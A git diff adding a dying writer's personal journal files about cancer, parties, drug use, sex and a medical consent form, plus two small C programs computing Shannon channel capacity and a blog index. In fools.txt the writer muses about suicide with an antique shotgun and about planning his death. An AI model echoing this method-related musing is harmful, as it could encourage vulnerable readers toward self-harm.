magnitude +smarter. + +We were too far away to see them but heard the muffled thumping of the +harbour fireworks at midnight. The klaxons, and roar of the blowers and +scrubbers of the sewage processing site kept us company throughout the +night... along with the blink-blink, blink of a lighthouse somewhere on +outer South Head. I got some shut-eye in nine dollars fifty worth of +fluorescent orange, half-deflated dinghy MrI had dragged out there and +failed to go to sleep in, but I managed, I guess because I was definately +more stoned than he was. Out of the corner of my eye, through heavy lids +(but not so heavy that they'd close properly) I watched uncaringly as some +smartarse got a photo of me crashed-out in the dinghy. I was not so stoned +that I couldn't perch myself cross-legged atop one of Silo's speakers and +gaze at the sunrise. The thumpin' bass signals deliciously jabbed up my +body, faster up my backbone. + +A sax/synth track by KennyG (called Infinity, I think) came on while I sat +there gazing at the fiery pink beams radiating from gaps in the distant +clouds, and I had one of those little searing, teary moments where I +wondered if I'd see the next New Years. I gazed out to where the sky and +the ocean met indistinctly, and looked at the tiny boats tossed on the +endlessly repeated waves stretching from the gleaming white cliffs to the +horizon. The wind flogged my hair against my skin, I stank of cannabis, +campfire smoke, sex on crushed shrubbery, leather preservative and Talby's +(legitimate chocolate chip) cookies, and I didn't know wether to feel +defeated or exuberant. The dawn arrived and hurt my eyes which were +leaking already anyway. I climbed down and went to sleep against the +concrete footings of the makeshift fireplace and woke up a couple of hours +later with some wanker stickin' a camera in my face as - action shot - I +discovered I'd accidentally snorted a blowfly. + +I dunno about you, but I think if you are ever called upon to justify your +life in terms of what you do on such an arbitrarily decreed day as New +Years, raising hell with a bunch of people you played a key role in +bringing together over ten years, and who are here because of something +you decided to write and make freely available to the public at large, +really beats the shit out of flocking with a nameless herd to watch +delightedly as the government sets fire to your sequestered tax dollars, +or sitting at home watching the Edinburgh fucking Tattoo on the telly. + + +On with the year then. The hardcore kamikazi kore of the Clan is off to go +abseiling or skateboarding without authorisation down 100m drops in 12m +diameter pipes in the upper reaches of the Snowy Mountains Hydro scheme +(empty since there's a drought on). Slightly drugfucked and wussy, I rode +back to Blakehurst and spent the day zonked out in bed, only emerging to +write this before the neurons responsible for remembering it commit +programmed suicide in disgust at what they remember. Five beers, a cone +and a root could only devastate me like this if I was in shit shape to +begin with. + +T-6 days to biopsy. Listen, lumpy, we have ways of makin' you talk. + + +Jan 3. + + +Fuckin' PCI interrupt allocation... grr. Andy had logged in and fucked up +the gateway entries while he was remotely messing around tryin' to get the +firewall working, thereby locking himself out. He got shorewall working +again but there's a wrinkle... when I did the gutz-transplant from one +machine to another to check about the (I think) thermally related kernel +barf, I put the NICs back in their slots in a different order. Now, on my +planet, a card gets an interrupt on the basis of what it's set to ask for, +but this particular mobo assigns them partly on the basis of which card +asks for one first. The DMZ and LAN NICs were assigned opposite IRQs, were +thus initialised in a different order, and although cabled the same way as +before the rebuild, were in fact now assigned as different interfaces so +the original routing tables were now totally fucked up. I eventually +figured this out and now it works. If you ask me, ISA buses work better +just because you can have definitive control over them with bits of +fuckin' metal on the boards deciding how they behave instead of some wafty +dynamic interrupt assignment workaround implemented to circumvent the fact +that most computer hardware people appear to be unable to count to ten +more than once. It seems to work for the time being. Good. + + +The kind individual who offered to shag me came pretty close to making +good on her promise early this morning, after we ate some Thai and +demonstrated our recorder playing skills (or lack thereof) to each other +in the dark at Enmore Park, but she was leakin' erythron and not entirely +happy with shagging in that circumstance, so we just lay upon the futon, +clinging tightly to each other in the lavender scented sheets, being +occasionally inspected by her inquisitive dog (got a hardon you want to be +rid of? Try an unexpected canine nose in the eye, heh heh). + +I grew up in the 1980s and was bombarded by the Grim Reaper ads in the +early 1990's, and have done enough pathology to scare anyone off getting +outta bed in the morning, yet I find myself strangely blithe of the +personal consequences of all this knowledge - e.g. being bled upon by +immunological strangers holds no terrors. I'm getting NRMA syndrome - +nothin' really matters anymore. It would nevertheless be rude of me to +become a viral vector in the final months of my life, a free software +conduit between people who know me, so I keep a few microns thickness of +polymerised isoprene handy. Arr.. I'd love to ride bareback, but it'd just +be irresponsible of me. + +Something's changing. Contrary to my misanthropic default, I'm starting to +appreciate this whacky species of which I am a member. I am not sure why. +We're the same bunch o' treacherous creeps as we were before I got my +oncological marching orders from the rank and file of the human race, but +as I stand at the edge, it is hitting home that they're all I've got. +Maybe I've never seen it from the point of view of someone unaccustomed to +what appears to be the sudden availability of shags-on-tap, but I'm +becoming more hungry for company than shaggery. Maybe one appreciates more +the things one has irretrievably lost or thinks one is about to. I am +keenly aware what a privelage it is to hold these precious beings in my +grip, be cradled by them intimately, even if we do run the same +metabolisms as the thing which is trying to kill me, and I can't help +getting a bit furrowed of brow and teary eyed amidst it. I am gonna miss +them as I am dying. If this dopey disease can decide wether to take me out +or not. + +Before taking life off you completely, cancer takes over your life in more +insidious ways than you realise (and in my case, chains me to the +keyboard, QED). I popped into Kogarah to return a book, and chatted to +Larry who is missing a lot of guts since he had colon cancer chopped out. +We concur that the worst thing about cancer is possibly that everyone else +who is aware of it can't have a conversation with oneself without talking +about it, so one ends up having permutations on the same conversation to +dozens of people before you get killed by it. It's sort of unavoidable, I +guess. It's not that we're not grateful for the concern, but as you the +long-suffering reader of these rants would surely agree it's just fuckin' +boring repeating the same stuff over and over again. So boring in fact I +want to get back to my mundane life of meaningless, anarchist +thermodynamic-eschatological drifting. Painting walls. Writing aleatory +crap. Uncaringly watching red traffic lights stay red for ages. Fuckin' +with computers and pondering on the computational nature of chemical +systems. + + +I ate breakfast at midday at the old Fish Cafe and couldn't help smile at +the parade of unconcerned locals walking past. If the place was any more +laid back you'd need velcro to stop your drinks sliding off the table. +Cool. + + + +----- +If, perhaps in a moment of masochism you want to look at the next file in +this series try + +http://conway.cat.org.au/~predator/getting_it.txt + +It might not be available yet. + + + diff --git a/bits_per.c b/bits_per.c new file mode 100644 index 0000000..37fae4a --- /dev/null +++ b/bits_per.c @@ -0,0 +1,31 @@ + +#include +#include +/* This program is made available under the terms of the GNU Copyleft */ +int main(void) + +{ + +char symbols[20]; +double sym; +double bits; + +/*get the nums*/ +printf("How many symbols are available in this system ?\n"); +//gets(symbols); +if (fgets(symbols,20,stdin) == NULL) { exit(1);} + +/*conv to values*/ +sym=atol(symbols); + +bits= log10(sym) / (log10(2)); + +/*shannon's law is expressed in terms of log2(x) hence fiddly conversion*/ + +printf("This is a radix=%g system with %g bits per symbol.\n\n", sym, +bits); + + +return 0; +} + diff --git a/blog-index.html b/blog-index.html new file mode 100644 index 0000000..5b9664d --- /dev/null +++ b/blog-index.html @@ -0,0 +1,28 @@ + + + +Predator's blog index + + + + +

+ +

+ created posthumously by andy -at- cat.org.au, stacy -at- cat.org.au -- Monday June 07 2004 + + diff --git a/channelz.c b/channelz.c new file mode 100644 index 0000000..6e72e6f --- /dev/null +++ b/channelz.c @@ -0,0 +1,48 @@ +#include +#include +int main(void) + +{ +char sn_ratio[20]; +float ratio ; +/*ratio is the sn_r expressed as an actual ratio, not dB */ +char bwidth[20]; +float bandwidth; +float channels; +char chan[20]; +float bits_per_sec; +float dB; + +/*get the nums*/ +printf("How many Hz of bandwidth is available?\n"); +if (fgets(bwidth,20,stdin) == NULL) { exit(1);} +printf("What's the signal/noise ratio (NOT in db, eg 30dB=1000) ?\n"); +if (fgets(sn_ratio,20,stdin) == NULL) { exit(1); } +printf("How many channels exhibit these parameters in your system?\n"); +if (fgets(chan,20,stdin) == NULL) { exit(1); } + +/*conv to values*/ +ratio=atoi(sn_ratio); +bandwidth=atoi(bwidth); +channels=atoi(chan); +dB= log10(ratio)*10; + + +printf(" B/W : %f Hz , SNR : %f dB\n\n",bandwidth, dB); + +/*shannon's law is expressed in terms of log2(x) hence fiddly conversion*/ + +bits_per_sec= (log10(ratio +1) / log10 (2)) * bandwidth; + +printf("Total bits per second per channel is %.2f bps\n\n", bits_per_sec); +printf("Total throughput for combined channels is %.2f kbps \n", +((bits_per_sec * channels)/1024) ); +printf("which is equal to %.2f Megabits/sec \n", +(((bits_per_sec * channels)/1024)/1024)); +printf("which is equal to %.2f Megabytes/sec \n", +(((bits_per_sec * channels)/1024)/1024)/8); + + +return 0; +} + diff --git a/consent.txt b/consent.txt new file mode 100644 index 0000000..c4309ed --- /dev/null +++ b/consent.txt @@ -0,0 +1,161 @@ +File: consent.txt +Cont: (pre)venting one's spleen : fine art of consent and legal obfuscation +Date: 18 Nov 2003 + + +If you take your top off and feel your belly below the left lower margin +of your rib cage, you won't feel anything much, but that's because you're +probably normal. I can, and I'm a bit curious about it. I normally sleep +face down with a forearm across my abdomen, and of late, stuff has been +moving about inside my guts when I do this, to accommodate a change. This +is 'cos my spleen has become large and relatively rigid, taking up more +room than is normally allocated to it, a condition known by a word which +rolls delightfully off the tongue - splenomegaly. I knew that's what it +was called, 'cos when, years ago, I did honours and (deliberately) became +acquainted with cytomegalovirus III (which is present in about 90% of the +human city dwelling population, and has called me home for about 20 years) +splenomegaly was one of the listed symptoms of active CMV infection. CMV +usually does fuck-all as long as you're not immunosuppressed or a neonate, +in which case it raises all kinds of hell. I sure as shit don't feel +immunosuppressed and am exhibiting none of the signs associated with that +state (like, being sick all the time). So what's going on? + +Spleens (a few people have more than one, some are born without them) are +the centrepiece of your lymphoid system, wherein is trained an +astoundingly complex army of highly specific, molecular recognition +capable, cellular attack dogs. Spleens are connected to the lymph nodes +(most people call 'em glands, such as the ones in your neck, armpits and +groin which swell up when you're sick) via specialised lymphatic plumbing +wherein these attack dogs (lymphocytes) roam in search of specific things +to kill. You can live without a spleen but you tend to be an easier target +for massive bacterial infection if you lack one. + +I waddled off to retrieve me ol' Merck Manual (any time you're feeling +hypochondriacal, DO NOT READ THIS BOOK) and had a gawk at the shitlist of +conditions associated with splenomegaly. The 'Manual is best read when +you're in perfect health, since it's pretty depressing if you're not. The +list is extensive and distasteful. It includes EBV (gives you glandular +fever, close viral rello of CMV). CMV (hello old friend, hope it's you). +Polycythemia Vera (broken erythropoiesis leading to too many red cells in +the blood, the spleen has to expand to provide sufficient resources to +destroy 'em). HTLV-3 (which is what they used to call HIV before they +realised HIV was an RNA retrovirus). Wilson's disease (inherited disorder +of copper metabolism). Lymphoma (malignant cancer of the lymph system, +ooh, yummie). Spleens also enlarge for other reasons... sarcoidosis +(nobody really knows what causes this), chronic parasitisation, +spherocytosis, sickle cell anemia, kinks in their associated vasculature. +Various bone marrow fibroses which, on account of their preventing +erythrocyte synthesis, can also provoke the spleen to start making these +cells instead, but spleens aren't very good at it and tend to release +erythrocytes before they're really ready to do their job. With the +exception of CMV, all of these things are probably far too exciting to +apply to me. + +So... what's doing it? + +I arranged to go and have a full blood count, electrolyte analysis, and +hepatic function test. The analytical processing used in haematology is +heir to knowledge won by humans struggling to understand chemistry and +biochemistry over a period of centuries, but nowadays is mostly automated, +so it's pretty simple, you just pop along, give 'em a few mL of venous +claret (it's always encourgaging that they send it off to the lab in a bag +prominently labelled `Biohazard') and wait for the results to come back. +Inbetweentimes, machines separate your blood into several different +components, humans peer intently at the nature of the isolates, and ponder +upon wether or not your metabolism is broken in some significant way. + +I got the sheet back a couple of days later and according to it I am, +haematologically speaking, very reassuringly boring, within expected range +for pretty much everything. For a guy who does little exercise, I am +stuffed full of haemoglobin. The things I wanted to know are all there - +specifically, lymphocyte and erythrocyte counts and morphology are +goodish. I'm not gonna turn into a life support system for a load of +tumors just yet (that'll happen later when the mesothelioma starts). + +This test ruled out a lot of things, but still doesn't tell me anything +about why this is idiopathic splenic bloat is happening. The final bit of +interrogation will be an abdominal CT scan, in a day or two. These use +X-rays, so in order to make oneself more radiopaque, one is required to +selectively stuff oneself with heavy atoms in advance of the scan. One +gobbles down a load of barium sulfate the night before (I know all about +that stuff from my Merck Index - same publisher as the Merck Manual, +different topic) to make one's intestines less transparent to the incoming +electromagnetic rays. On the morning of the scan, though, they inject you +with ... well ... something. + +The consent form doesn't say exactly what it is with which one is going to +be injected. It mentions that the stuff which will be injected into you is +a radiopaquing agent, implying it's a vasculature contrast medium, and +alludes that the material contains iodine (makes sense, iodine's a heavy +atom, the sort x-rays cannot penetrate) and is non-ionic (exists in an +uncharged state... so what?). Nowhere, however, is the molecule or mix of +molecules actually specified. Iodine in its native aqueous diatomic +state would kill you stone dead if you were injected with it, so +it obviously isn't that. But what is it, exactly? They give an associated +death rate when using this stuff intravenously as less 1 per 180,000. But +which stuff? How can I give them informed consent to shoot me up +with some or other crap if they won't tell me what it is? If they tell me +what it is, I can investigate its metabolic half-life, LD50 and eventual +fate perfectly well in the existing literature, and make a decision. + +I'd normally go looking in my Martindales 38th pharmacopoea, but opaquing +agents are not, strictly, pharmaceuticals, so they don't list any, as far +as I can see. + +The mention of iodine, lower down in the form, is an important giveaway... +one can whiz off to the Merck Index and directly observe structures of any +molecules whose names start with io- or iodo-, and grep immediately at the +bottom of these entries looking for the words `opaquing agent'. This won't +get all of them (I mean, there's a heap of different ways to iodinate any +of a squillion different molecules for this purpose) but one can at least +acquire something like a clue about their probable natures. + +It appears most of the ones in this section of the Merck are variations +on, or oligomers of, 1,3,5-triiodobenzene. Don't get the idea there's +anything spooky about iodine, one needs it for thyroxine synthesis, and +one gets goitred without it, among other things. I think I'm going to be +shot up with any of iobenguane, iobenzamic acid, iocarmic acid, iocetamic +acid, iodamide, iodipamide, iodixanol, iodoalphionic acid, iodopyracet, +ioglycamic acid, iohexol, iomeglamic acid, iopamidol, iopanioic acid, +iopentol, iophenydylate, iophenoxic acid, metrizamide, metrizoic acid, +iopromide, iopronic acid, iothalamic acid, iotrolan, ioversol, ioxilan, or +ipodate. I could sieve these entries by their water and lipid solubility +to narrow it down to ones likely to stay in the blood rather than be +incorporated into my cell walls for the next few years. + +None of these are radioactive (of course, they just scatter the x-rays, +they don't emit anything themselves) and I think I excluded all the ionic +ones from the list (and who in hell invents these names?!) But which one? +I got LD50's for mice, rabbits, and just about everything else that moves +there in the Merck, some of these things are actually moderately poisonous +(especially if you're an experimental mouse or rabbit) though you'd have +to shoot a lot more of them up your arm than the equivalent mass of +diacetylated morpine required to kill a heroin user. + +I wonder what percentage of the population in general knows what is meant +by non-ionic contrast agent anyway? I know what it means, but don't know +why non-ionisation matters to the procedure. + +By signing this form I effectively say to these people, I don't care what +you're gonna shoot me full of, go right ahead. This is, actually, an +_uninformed_ consent document, wherein you put your signature on a chunk +of paper that says that you neither know or care what is going to happen +in this procedure. If, subsequent to some mishap in the scan, you wanted +to get up MayneHealth for compensation, and had made the mistake of +signing this thing, they'd piss their pants laughing you out of court. + +And, interestingly, they're right. I actually don't care. So shoot 'em up +and pass the bremsstrahlung, I wanna know what's goin on in my guts. + + + + + + +(the next .txt in this series is conway.cat.org.au/~predator/gutful.txt) + + + + + + diff --git a/foolish.txt b/foolish.txt new file mode 100644 index 0000000..5073ef5 --- /dev/null +++ b/foolish.txt @@ -0,0 +1,21 @@ +Still with us? Well. Ok. It's April 21. I go to Melbourne on the 23rd and +plan to come back on the 29th. + +There's a bigger rant coming (fools.txt) but this one is the little crumb +you get to look at instead of a 404 message. + +The meaty stuff is: My neck is getting shittier. Bill the Lump invaded my +left jugular vein about a week ago, blocking it. If he'd invaded the +carotid I'd be stroked out, a dribbling veggie. I'm reasonably freaked out +about this. The axe is falling. So I'm planning my end mode. I want +control over it. + +If you have anything terribly important to ask me about anything now might +be good time. The chance might not remain. Heavy epistemological and +philosophical questions are OK as are others. + + + +Oh, yeah. I just added this today, May 1. fools.txt is nearly done. Some +of you need to relax, the logs tell me there's people hitting apache every +few hours and shit. Patience, Neo. The answers are coming. 8-) diff --git a/fools.txt b/fools.txt new file mode 100644 index 0000000..503c052 --- /dev/null +++ b/fools.txt @@ -0,0 +1,2191 @@ +File: fools.txt +Content: it's april 2004. This is my remaining life. Bored yet? + +Maybe you read this 'cos of morbid curiosity. Or maybe you're just into +the juicy goss I put in. I dunno. Anyway. It gratifies my ego, I like +having an audience which at least feigns interest (conway's apache logs +indicate that people download the stuff, but not that they bother to read +it). I even get feedback from time to time. Thanks for that too. It +encourages me to write more drool. + +------- +April 1 or so. + +Legal aid reckon the magistrate'll either throw this case out with no +conviction recorded or gimme a little fine and in any case its nothing to +worry about very much. In the former case, it sucks in some sense that +I'll finally be recorded in the immortal literature as a crim. In +perspective, well, no shit, Sherlock. You wouldn't worry about a fine for +tresso' when you've been tried and found wanting in the high court of +cellular biology, where juries, judges and justice hold no jurisdiction +and a misplaced base pair will dig your grave for you. But it's still a +fuckin' nuisance. I'm gonna have to iron a shirt and say Your Worship (not +my worship... if some git wants to tell me that I think he worships +himself, that's just fine with me). + +It's years since i updated my CV and I kinda wouldn't be bothered unless +it might save me a few hundred bux in fines. Updating it was kind of +funny. The condensed, abridged, compressed, distilled summary of my life +fits, embarassingly, in a single page. Which in some senses is an +indictment in itself. But I did leave out a lot of stuff. I never really +gave a shit about CV enhancement, character refs and so on since I +concluded years ago CV's were so easily faked and were so... well, +self-aggrandising. And you learn shit-all from a CV compared to what you +learn from interacting with a person. Which is more interesting anyway. + +I had a strange dream. Joss fed her hand, palm-up, into my chest +under my left costal margin, under the rib, above the lung, the heart, and +popped it out again and (borrowing from Dave Goldstein a word which rolls +ever so delightfully off the tongue) _supraclavicularly_ curled her +fingers around that beautifully sculpted osseous strut extending from my +neck to my shoulder. I watched the fingers close around it. Which should +be impossible, I can't really see it from where my eyeballs are. No blood. +Stuck in me, up to the elbow, the dream ended. Beats the shit out of me +what this means, or even if it should mean anything. I have rivers of +random crap floating through my head when I dream and most of it makes no +sense. + +Tools for the job. +I accidentally busted the aerial off my ghastly Nokia wankerfone today and +found that an 8mm dia, 316 stainless 30mm hex bolt works pretty well as a +substitute though seems to work better when the 'fone's horizontal. I +dunno what its vSWR is but it can't be too bad. I remember the usual fix +to the broken-off aerial on the car bonnet was an inverted coathanger +stuck in the feed hole, and this is its cellphone equivalent. You read it +here first. Stand by. Someone will patent nuts and bolts. + +The South African shagged me and fed me a huge slice of fried dead cow arse on +thursday and I later popped around to Toad Hall and found I couldn't fix +the brakes on Joss' bike 'cos there was a warped rim due to a missing +spoke which I didn't spot before. Fucked if I can find my spoke key. So +Joss isn't gonna ride with us on Sunday but maybe she wasn't up for the +ride anyway. She has an Allen key now, with which to tweak her own bike. I +know not of her inclination to use it. + +It's April 3. Bill is rigid today. Hard, pressurised. Bill's size and +texture varies. My sister turns 31 tomorrow and I am not gonna go to the +dinner. Unless it rains in which case I'm not riding the push bike in it. + +Joss appears to be way more stressed up than I thought. She worries me, +but I can't stop her worrying about all the stuff she apparently worries +about. I read her stuff when she offers it to me 'cos she has the guts to +print it out but otherwise I feel a bit ignorant about what's stewing in +her head and have trepidation about asking her. Please don't get +continuously smashed and become slurred, insensate, incommuncado like my +mum used to do, I want to suggest as gently as one could possibly suggest +it, but I have to trust her not to, and I will have no reproach for her if +she does - there's nothin' I can do about it 'cept watch. I'm glad she's +having at least some good fun, tho, in Cremmo she's found a seriously well +hung dude and loves it. The normal reaction you get from blokes about the +discovery that one of their favourite shags has found someone more amply +equipped than themselves is envy, but I reckon it's cool if they both have +a great time and anyway, since the advent of injection-moulded silicone, +size competitions have become sorta irrelevant - if you can manage to drag +it home you can buy a polysiloxane phallus with which you could +straightforwardly harpoon a whale. I'm happy with my rig and am happy that +other people are apparently happy with it too. And you can have too much +of a good thing. Allometry matters. + +Oh, yeah. Joss. Joss seems sort of lost. Or on hold, or ... something. I +relate. There's a mixed load of feelings, that you're welcomed back but +you haven't quite left, when ya move back in with your olds. If real +estate in Sydney wasn't insanely overpriced ya wouldn't have to, you could +go become a slave to a bank and expect to pay the fuckin' mortgage (Fr: +death gamble) off before you died, and at least they hate everyone in an +equal, detached, nothin'personal kind of way when they come every month +for their scheduled suck on yer jugular. I was out for oh, shit, I dunno. +Ten years? Two at Kairawa, three at Wollongong Rd, one wwoofing, and about +four squatting various derilect buildings. The olds took me back into +their place, into the back room. I've fixed the place up a fair bit since +I got here and I'm currently deluded that they sort of like me around. +I've got it pretty easy now since the word's got around I have more or +less come home to... you know. Die. + +In that sense, however, all of us here at 7 River st are. So there's +parity. Hang around this house and in ten years none of us will be here, +we are quite literally a dead set. Mum's barely able to stand up without +bracing her arms against a handy table or door jamb, dad's got a load of +symptoms as long as your arm, and me, well, you know about my particular +brand of mortality already. Dad can and very occasionally does whinge all +he likes about my being a long-haired leftie (I'm not a leftie but he +doesnt understand anarchosyndicalism) and that I should do something with +my life and it's caustic off a duck's back now, my life's pretty much over +so I don't have to justify what I do with it any more, but then, I never +did anyway. Joss, methinks, is doing the uncomfortable squirm of someone +who thinks she is hiding from her life under the gaze of people who think +she shouldn't be. I conjecture that I can spot this particular squirm +because I did it for about six months before The Day Everything Changed, +the Day of the Scan, the day after which a lot of previously important +stuff suddenly and surreptitiously ceased to matter a shit anymore. But I +often see things which aren't really there. + +I sometimes don't chuck pills down my neck any more. Fuck it, I think to +myself. What's it matter. Feed Bill or don't feed Bill. It's all a meal +ticket to Bill. Bill's gonna eat me anyway. Bill me. Fill me. Kill me. + + +"There's no use hidin'. + The cells have begun dividin'." + +TISM - www.tism.wanker.com - Faulty Pressing Do Not Manufacture + +Well. Yes. + +I have cleaned some old things this week. I soaked the 1890's horsewhip in +neatsfoot oil (the real stinky 1960's stuff, not the boiled linseed they +sell as neatsfoot these days) for a couple of days and the room stinks of +it, sorta like sump oil but a bit more sulfuric and the leather gleams and +is supple, shiny. I think it's easier to crack, too. I also cleaned the +heirloom W.M. Cashmore for the second time in my life. I think I cleaned it +last when I'd turned 17, nearly half my life ago. It's a little bit +corroded in spots. The action works, everything clunks together precisely, +ka-thunk, just like it all did when it was manufactured in bloody +Birmingham a century ago. Fearsome, murderous firestick, it is +nevertheless the work of an artisan, little scrolly engravings adorn the +nitro-proof metal and the walnut stock. It's heavy and dense, in the way +that just about everything made in the last twenty years isn't. The +barrels (full and half choke respectively) are Damascus steel, and have +pleasing concentric coaxial patterns in them. It's sprung very heavily and +I can barely manage to cock the thing. When I do it makes the same sort of +low clunk as grandfather clocks do once per second. When the triggers +(there are two) are pulled, little puffs of oil vapour are punched into +the air where the pins would smack into the primers of any shells which +might be stuck in the breech. Kapow. + +I've read about people wipin' themselves out with these. At the mo it's +the furthest thing from my mind, but that might change in a hurry. Aside +from Bill aching, for the time being, almost imperceptibly, nestled in the +hollow of my collarbone, he appears otherwise to be behaving, and life is +tooo fucking good. Out of plain curiosity I pressed the twin bores against +my neck (are you paying attention, Bill?), and extended my fingers down to +their far end and could easily reach the breech, 30 inches away. I guess +if short people wanted to blow their head off with it they'd need to +actuate it with their toe which would be awkward to fit in the trigger +guard. Not to mention bloody undignified. You gotta admit that, live or +dead you'd look like an complete 'tard with your big toe stuck in a +firearm. A lot of years ago I played a trombone but I hadn't really grown +to my current height, so when seated I developed this trick of pulling the +slide out to sixth position with my foot to get particular notes. Until I +found that they could usually be played in other positions anyway. Which +was good since I looked like less of a freak. I stopped playing for +humanitarian reasons once I got the trombone riff from Thomas Dolby's +`Hyperactive' down pat. + +This is not the right tool for such a job. Not because it couldn't do it, +but such a task is a slur on this beautifully crafted, historical +instrument, its great age, its careful manufacture. It's not a stock +nickel rod turned on a lathe, stamped with a serial number and the sorts +of stupid modern warnings legally compelled to be stamped upon modern arms +[You may seriously injure or kill yourself with this device]. Besmirched +with a suicide it'd end up in a secured dumpster and be heated into slag +under the eyes of bored cops who are convinced they're doing this sort of +thing for our own protection (well, really, their protection from other +people). With their own 9mm Glocks at their side while they do it. + +I saw a convex driveway mirror today with [Distorted Image] under it. Duh. +There's a sign in Darling St which says [HIGH PEDESTRIAN ACTIVITY] on it. +The council appears to think all the bipeds strolling around the +kerbs are stoned or something. + +Nah. Fuck it. If you were to put modern ammo in this and fire it, it'd +peel open like a banana anyway. It could do the job I am contemplating +doing but in the same way as a chainsaw could cut butter. Wastefully, and +with needless splattering of butter all over the place. + +I'da put a padlock for which I had no key, in the break hinge, if I +thought I was gonna use this thing for anything silly. But I have no need. +This thing'll sit in a box with its silica gel bag for another few +decades, bored out of its two-bit ferrous mechanical mind, patiently +waiting for something to blast. And don't get the idea this is the +riskiest thing I did all day. It isn't, by a long way. I always feel much +more threatened playing with live mains electrickery than I do with what +amounts to a couple of iron tubes packed with explosive and sealed at one +end. I slapped the 'probes on the power supply feed rails to see the +active and neutral rails weren't switched around. 239VAC on the brown +rail. They weren't. Good. I remember brown=active 'cos brown is the colour +of the electrical burns you'll get if you fuck with it. Great mnemonic.... +really focuses the mind. + +And there's plenty of lethal edged crap in the kitchen. And the toolshed. +The NSW government, in the guise of my old English teacher (currently the +NSW police minister) is banning edged weapons. Again. Machetes, like my +preferred tree-pruning instrument, will be outlawed. Like they matter at +all to a constable with a 9mm automatic. Could they please ban motorised +leaf-blowers? At least you can murder someone quietly with a machete. I +shave myself with an edged weapon. I suppose they'll be banned too. + +My English teacher would be mortified by my syntactical ineptitude and +grammatical ghastliness, but would he feel that these mistakes were wholly +mine, or partly his? Would he learn that part of the fun of writing is the +gratuitous mess you can make on the sacred literary walls of lexical dogma +and etymological etiquette? Spel thingz howeva u lyke. + +To the terrified, everything is a weapon. The truly determined will drown +'emselves in the bath. 'Spose they'll ban water? Illegalise rain and the +delightful noise it makes on the roof and the leaves outside the window? +Of course. [For Your Security]. + +Oh. It rained of course. Lots. So I didn't ride the bike down at +Heathcote. Spent sunday at home fixing power supplies. Which leads me to +think about why I spend time fixing them. It has to do with their crappy +construction. There are ways to fix this. So I wrote about it. Mainly as a +way to avoid using antiword to convert some MS-WORD character reference +documents into postscript prior to dumping them on the laserjet, for this +court case. + + + + +Supply.txt: this is a rant about power supplies, which came out of a +discussion on catgeek@cat.org.au, about ATX power supplies, circa March 2004 +----------------------------------------------------------------------------- + +From predator@cat.org.au Sun Apr 4 15:30:17 2004 +Date: Thu, 11 Mar 2004 23:21:08 +1100 (EST) + +----------------------- +Empowerment. + +Lift the cowl off your computer and for a moment ignore the blinking, +spinning techno eye-candy. Look for the most boring thing you can see. +It's nestled in the top rear corner, attached to the chassis with four +philips/hex head machine screws. It's invariably the grey metal box which +via polychromatic spaghetti feeds current to your motherboard and all the +other devices. It's your switch-mode ATX power supply unit. + +Who gives a damn about a PSU? You do. Especially if it breaks. The +contents of this metal box is all that stands between your expensive +hand-picked collection of high-performance semiconductors, and whatever +noisy quarter-kilovolt of oscillating crud the grid wants to toss at you. + +I bet you've never looked inside it, have you? It's about time you did. If +you own an ATX supply and it's long out of warrantee you have nothing to +lose by doing so. Don't be ashamed if you've never looked - there's good +reason to stay out of it. PSU's wrangle with mains electricity, which can +kill you. However, if you unplug it, this problem goes away. Wait a while, +so the big electrolytic caps in the front end can discharge. + +There are other reasons to look before you buy, and before you put an +unquantified PSU into service. If, as I do, you build machines which have +to stay on continuously for years, and are considering a PSU purchase, you +should ask your vendor to open the PSU before you buy it. They can always +put on another warrantee sticker later once you've had a look and learn +what they're selling you. If they won't open it, find a vendor who will. +It really does matter. + +Why you care, is because you own componentry worth at least 10x the price +of the PSU to which it is connected, quite aside from the value of the +data stored thereon. + +Contrary to the case warnings, there really ARE user-servicable parts +inside. Quality control stickers (QC-OK and similar) made by the billion +in China and stuck on everything from power supplies to underpants should +be ignored, and evidently some manufacturers spend more on case stickers +than they do on quality parts. Better to look inside and judge for yourself. + +------------------ +Crack it open. + +The cowl of the generic PSU is held down with four small countersunk +philips head machine screws. Remove these, lift the cowl upwards and the +internals are exposed. + +You'll see two sockets (mains in and mains out), a fan, and a circuit +board packed with ferrite energy storage tori, big electrolytic +capacitors, three-terminal regulators, heatsinks, small ICs, discrete +components and so on. + +----------------------- +Size matters. + +Unlike VLSI microprocessors, power supplies of a given wattage have not +shrunk significantly in the last ten years, for reasons related to how +much energy they're built to handle, which in turn governs the quantity of +bulk metal, semiconductor and insulation required to handle it. With more +ferrite, copper, solder and heatsinking inside, a good 300 watt supply +will weigh noticably more than an equivalently rated cheapie. + +Look at the small 85 watt mini-ATX PSUs internal componentry, compared to +a 300 watt item for component size and rating comparison. Your PSU should +be running well within its capacity (about 70% of rated output is good), +not struggling at its limits. Allocate 10 watts per harddisk and at least +100 watts for a modern (read, 1GHz) CPU. Peripheral cards add to this +greed for power, GPUs especially. And then remember that what the rating +sticker says is not always what the the supply can deliver. + + +---------------------------- +Things to look for. + +- PCB *screwed* to chassis, not plastic-clipped, not stuck on with + silicone/glue - screws ensure good grounding of the ground rails to the + casing. I like my main earth rail bolted to the chassis, too. + +- Electrolytic capacitors rated to 105 deg C, it'll say so on their case. + Electrolytic capacitors by CHSSI, Luminous, Luxon, and JPCON had + high failure rate problems in recent years but it is unlikely low ESR + (extended series resistance) capacitors are used in generic switchmode + supplies. + +- Grommets. These protect the cabling from abrasion during movement, where + it exits the PSU case. Cable ties and folded metal are the usual cut-corner. + +- No component gaps on the circuit board - no absent circuitry, all + board positions full. A particularly incriminating shortcut is the + substitution of a toroid choke with a component of rather less inductance + - a straight bit of wire. Good power supplies employ dedicated circuits + for each rail, +12V, +3.3V, +5V, instead of several + voltages derived from one regulator. + +- The Real Components. Look for a three-terminal monolithic + half-rectifier bolted to the heatsink, and not two back-to-back axial + power diodes soldered in their place, these don't cool as well as + equivalent-function regs due to poor contact patch between cylindrical + body and flat heatsink, and relatively small x-section of conductor + rails which are used as heatsinks in cost-cut supplies. + +- Circuitry to deal with power factor correction current (the PSU will + consume some energy in transforming mains voltage into DC rails served + up the way your PC likes 'em). You might find a passive PFCC AC input + capacitor on the mains input feed. Better PSUs have active circuitry to + manage PFCC. + +- Fuses, held in FUSE CLIPS. Yes, sometimes PSUs blow a fuse. They're + usually soldered down because manufacturers don't expect you to replace a + fuse, they assume whatever blows a fuse will render the rest of the + supply useless. Not always true. They also want you to buy a new supply + rather than spend twenty cents on a replacement fuse, but you knew that. + +- Chromed grilles, screwed in, not punched from the box sheetmetal. The + grilles have less air resistance so collect less dust and airflow is + better. Cooling is important. + +- Adequately 